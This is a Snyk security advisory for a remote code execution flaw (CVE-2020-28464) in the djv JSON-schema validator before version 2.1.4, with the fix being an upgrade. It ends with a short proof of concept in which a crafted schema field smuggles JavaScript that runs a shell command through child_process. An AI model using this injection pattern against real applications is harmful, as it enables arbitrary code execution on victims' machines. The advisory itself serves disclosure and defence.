Remote Code Execution (RCE) Affecting djv package, versions <2.1.4
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.37% (73rd
percentile)
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Test your applications- Snyk ID SNYK-JS-DJV-1014545
- published 4 Jan 2021
- disclosed 30 Sep 2020
- credit Alessio Della Libera (d3lla)
Introduced: 30 Sep 2020
CVE-2020-28464 Open this link in a new tabHow to fix?
Upgrade djv to version 2.1.4 or higher.
Overview
djv is a dynamic json-schema validator
Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.
POC:
const djv = require('djv');
const env = new djv();
const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
env.addSchema('test', evilSchema);
env.validate('test#/common', { type: 'custom' });